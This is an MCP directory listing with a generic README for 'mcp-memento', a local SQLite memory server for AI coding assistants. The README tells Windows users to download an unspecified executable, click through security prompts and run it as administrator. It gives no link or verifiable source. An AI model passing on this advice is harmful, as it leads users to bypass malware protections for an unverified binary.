mcp-memento
Click on "Install Server".
Wait a few minutes for the server to deploy. Once ready, it will show a "Started" state.
In the chat, type
@followed by the MCP server name and your instructions, e.g., "@mcp-mementosave that we're using React hooks for state management in this project"
That's it! The server will respond to your query, and you can continue using it as needed.
Here is a step-by-step guide with screenshots.
π§ mcp-memento - Keep AI Context in One Place
π What mcp-memento does
mcp-memento helps AI coding tools keep useful facts in one place. It gives your assistant a simple memory layer so it can hold on to notes, project details, and relationship links while you work.
Use it when you want your AI tool to remember things across sessions, track parts of a codebase, or keep a small knowledge base for a project. It stores data in SQLite, so your information stays in a local file on your computer.
π Download and run on Windows
Open this page and get the app from there:
After you open the page, look for the latest release or the main download option.
Steps for Windows
Open the download page in your browser.
Get the Windows version of the app or package.
Save the file to your Downloads folder.
If Windows shows a security prompt, choose Keep or More info, then Run.
Follow the on-screen steps until setup finishes.
Start the app from the Start menu or from the folder where you saved it.
If you use a portable version
Download the file.
Move it to a folder you can find later.
Double-click the file to launch it.
Leave the data file in the same place so mcp-memento can keep your memory data.
π₯οΈ What you need
mcp-memento works best on a modern Windows PC with:
Windows 10 or Windows 11
A recent version of Python 3 if you run it from source
Enough free space for a small SQLite database
Access to your AI coding tool or editor
It is built for local use, so it does not need a large setup. Most users only need to download it and connect it to their editor or agent tool.
β¨ Main features
Keeps notes for AI coding agents
Stores memory in a local SQLite database
Helps link related people, files, tasks, and ideas
Works as a Model Context Protocol server
Fits into editor and assistant workflows
Supports knowledge base style use
Keeps project context available over time
Helps reduce repeat explanations to your AI tool
π§ Where it fits in your workflow
mcp-memento is useful when an AI assistant keeps forgetting earlier details. Instead of repeating the same project notes, you can store them once and let the tool read them later.
Common uses include:
remembering project rules
storing file and folder notes
tracking code decisions
linking related tasks
keeping a small team knowledge base
giving an assistant a stable place to read and write context
π οΈ Basic setup
If you downloaded a ready-to-run Windows file, open it and follow the prompts.
If you are using it with an editor or AI tool, connect it by adding the server details to that toolβs MCP settings. Many tools let you add a local server by pointing to the app file or a launch command.
Typical setup flow:
Download the app.
Start it on Windows.
Open your AI tool or editor.
Add mcp-memento as an MCP server.
Save the settings.
Test it by asking the assistant to save a note or recall a stored fact.
π Connecting it to your AI tool
mcp-memento is made for tools that support the Model Context Protocol. That includes assistant apps and editors that can talk to local MCP servers.
When you connect it, your tool can:
read stored memory
save new facts
link items in your knowledge base
use past project context during future chats
If your editor has an extension panel, look for an MCP or server section. Add mcp-memento there and point it to the local app or executable you downloaded.
ποΈ What gets stored
The app keeps data in structured form, which makes it easy to search and reuse. The database can hold:
notes
project facts
relationships between items
memory entries
reference links
working context for coding tasks
This makes it easier for an AI assistant to stay on task without losing earlier information.
π Example use cases
Solo coding work
Keep track of the parts of your app, your naming rules, and the decisions you already made.
Long projects
Store design notes and return to them later without retyping everything.
Knowledge base
Save facts about APIs, files, tools, and people in one local place.
Editor integration
Use it with your code editor so your assistant can read and write memory while you work.
π Search and recall
mcp-memento is built to help your assistant find the right information fast. You can keep notes short and direct, then reuse them when needed.
Good items to store:
the purpose of a folder
what a function should do
project rules
known bugs
names of key files
links between features and tasks
π Data stays local
Your memory data lives in SQLite on your machine. That makes it easy to back up, move, or inspect with other tools if needed.
Typical local storage benefits:
simple file-based storage
easy backup
easy restore
no complex server setup
works well for personal projects
π§ͺ First test after setup
After you connect mcp-memento, try a simple test:
Ask your assistant to save a note about your project.
Ask it to recall that note in a new chat.
Ask it to link two project items together.
Check that the answer uses the stored context.
If the assistant can save and recall the note, the setup is working.
π Project topics
This project fits into these areas:
ai-assistants
code-assistants
developer-tools
ide-integration
knowledge-base
mcp
mcp-server
persistent-memory
productivity-tools
python3
sqlite3
relationship-mapping
zed-extension
π§© Common file types
You may see files such as:
a Windows executable
a configuration file
a SQLite database file
a launch script
a README file
Keep the database file in a safe place if you want your memory to stay available between runs.
π±οΈ Simple Windows tips
Use Downloads for the first install
Pin the app to Start if you use it often
Keep the data folder in one place
Back up the SQLite file before big changes
Close the app before moving its data file
π§° If you run it from source
If you are comfortable using Python 3, you can run the project from source on Windows.
Typical steps:
Install Python 3.
Download the repository files.
Open a terminal in the project folder.
Install the needed Python packages.
Start the server with the provided launch command.
Connect your AI tool to the local server.
If you are not using Python often, the Windows download is the easier path.
π§ Troubleshooting
The file does not open
Check that the download finished
Try right-clicking and choosing Run as administrator
Make sure Windows did not block the file
The assistant cannot see the server
Check the MCP settings in your editor
Confirm the app is running
Verify the path to the file is correct
Restart your editor after saving changes
Notes do not appear later
Check that the SQLite database file stayed in the same folder
Make sure the app closed cleanly
Look for a save or sync action in your tool
The wrong version opens
Delete old copies from other folders
Use only the latest downloaded file
Start from the newest path you saved
π¦ Backups
Because mcp-memento stores data in a local SQLite file, backups are simple.
To back up your data:
Close the app.
Copy the database file to another folder.
Save the copy on a drive or cloud folder.
Restore it later by placing it back in the app folder.
π Updates
When a new version is available, download it from the same project page and replace the old app if needed. Keep your database file in place so your stored memory stays intact.
π§· Best way to use it
Keep entries short and clear. Store one idea per note when you can. Use names that make sense to you and your assistant.
Good examples:
App uses local SQLite storage
Main UI folder holds shared components
Billing flow depends on auth state
Fix header spacing on mobile
π Why this project helps
AI tools work better when they can remember what matters. mcp-memento gives them a local place to store that context, so you do less repeat work and keep your project notes close at hand
π Download again
Resources
Unclaimed servers have limited discoverability.
Looking for Admin?
If you are the server author, to access and configure the admin panel.
Latest Blog Posts
MCP directory API
We provide all the information about MCP servers via our MCP API.
curl -X GET 'https://glama.ai/api/mcp/v1/servers/Bogeymanlicitness496/mcp-memento'
If you have feedback or need assistance with the MCP directory API, please join our Discord server